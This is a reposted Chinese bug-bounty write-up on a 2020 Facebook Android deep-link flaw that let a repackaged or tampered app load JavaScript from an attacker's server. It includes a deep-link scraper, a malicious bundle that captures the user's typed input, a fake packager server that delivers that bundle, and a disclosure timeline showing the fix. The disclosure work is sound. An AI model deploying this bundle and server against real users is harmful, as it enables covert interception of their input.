首頁 >運維 >安全 >如何利用深度連結方式後門化Facebook APP

如何利用深度連結方式後門化Facebook APP

WBOY
WBOY轉載
2023-05-19 14:49:361617瀏覽

近期,作者發現了Facebook安卓APP應用的一個深度連結漏洞,利用該漏洞,可以把用戶手機上安裝的Facebook安卓APP應用轉變成後門程式(Backdoor),實現後門化。此外,該漏洞也可以用來重新包裝Facebook應用程序,並將其發送給選定的目標受害者進行安裝使用。以下就來看看作者對此漏洞的發現過程,以及如何透過Payload構造,最終將其轉化為Facebook APP實際生產環境中的安全隱患。

漏洞發現

通常做眾測時,我會先認真了解目標系統的應用機制。在我的上一篇部落格中,我已經分享了透過解析Facebook APP來發現FB4A參數應用程式中深度連結(deeplinks)的一些經驗過程,而在此,我先分享我寫的一個腳本文件,用它可以自動實現對Facebook APP深度連結(deeplinks)的發現。腳本檔為-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基於Python的程式碼程序,專用於從Facebook APK中提取深度連結(deeplinks):

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi

下載來源: https:// github.com/ashleykinguk/FBLinkBuilder/

使用方法: .\FBLinkBuilder.py -i fb0409.apk

透過FBLinkBuilder.py的運行實現,我們可以對比不同APP版本之間出現的深度鏈接,以此來觀察不同APP版本的應用服務變化,我正是利用該方法發現了Facebook APP 2020版本中存在的一個不安全的深度鏈接:fb:/ /rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

該深度連結的參數形式為hostname / ip,於是乎我就用自架的伺服器192.168.0.2來做了個測試:fb://rnquantum_notification_handler/?address=192.168.0.2 :8224,透過該鏈接,可以在Facebook APP中跳出以下彈跳窗:

如何利用深度链接方式后门化Facebook APP點擊其中的"Enable Quantum"按鈕後,會重新啟動Facebook APP,之後,我嘗試去發現其中的變化,但這一切看似沒啥異常。接下來,我把注意力放到了網路流量上,當時我想到了不久前Facebook專為安全研究者開放的白帽測試功能,安全研究者可以透過該功能暫時繞過Facebook的憑證綁定(Certificate Pinning )等安全限制,去測試Facebook相關應用程式的網路流量。我利用白帽測試功能發現,進行上述操作後,Facebook應用程式會發出如下的外發連結請求:

http://192.168.0.2:8224/message?device=Android SDK built for x86 - 10 - API 29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

這裡的第一條請求機制為傳遞基於的行動端裝置屬性訊息,並意圖建立一個websocket連線;第二個請求為傳回請求主機的狀態訊息packager-status:running,它是Facebook的react-native來源碼內建參數,可以參考Github: /com /facebook/react/devsupport/DevServerHelper.java。

而就當我想辦法在自架伺服器192.168.0.2中建構回應訊息時,我又發現了Facebook APP產生的另一個請求:

http://192.168 .0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

#此請求目的為尋找打包檔案中儲存的FB4A參數,初步分析來看,該參數應該是明文而非通常的hbc*格式儲存於Facebook APP中。我曾嘗試輸入hbc*格式的FB4A參數進行測試,但最終卻會讓Facebook APP發生崩潰。
其實,對於Facebook APP來說,在2019年之前,其打包文件( bundles)存儲於/assets/目錄下的一個形式化文件中,但2019年後,Facebook就引入了hbc格式(*Hermes ByteCode) ,一方面為APK瘦身,一方面為防止核心程式碼明確化。雖然我嘗試使用了hbc格式工具HBCdump,對Facebook APP產生了一個約250M的打包文件,但好像也沒什麼用。

劫持Facebook APP

之後,我想到了另外一種發現打包檔案的方法:那就是透過查看舊版的Facebook APP,將明文包內容和行動裝置產生的錯誤訊息進行對比,行動端裝置產生的錯誤訊息可透過logcat可見。一通對比下來,我發現以下線索:

__fbBatchedBridge  -包文件中必需的對象,其中包含了與APP應用同步的各種功能組成;

__fbBatchedBridge.callFunctionReturnFlushedQueue  - APP後台呼叫的函數,每次呼叫都會執行對應的動作或事件。

基於上述發現,我的想法是讓Facebook APP可以成功下載並執行我建構的套件文件,為了實現該目的,我需要自己編寫包文件,然後把它託管在我的自架主機192.168.0.2中。以下是我建構的套件檔案FB4abundle.js:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

以上是如何利用深度連結方式後門化Facebook APP的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除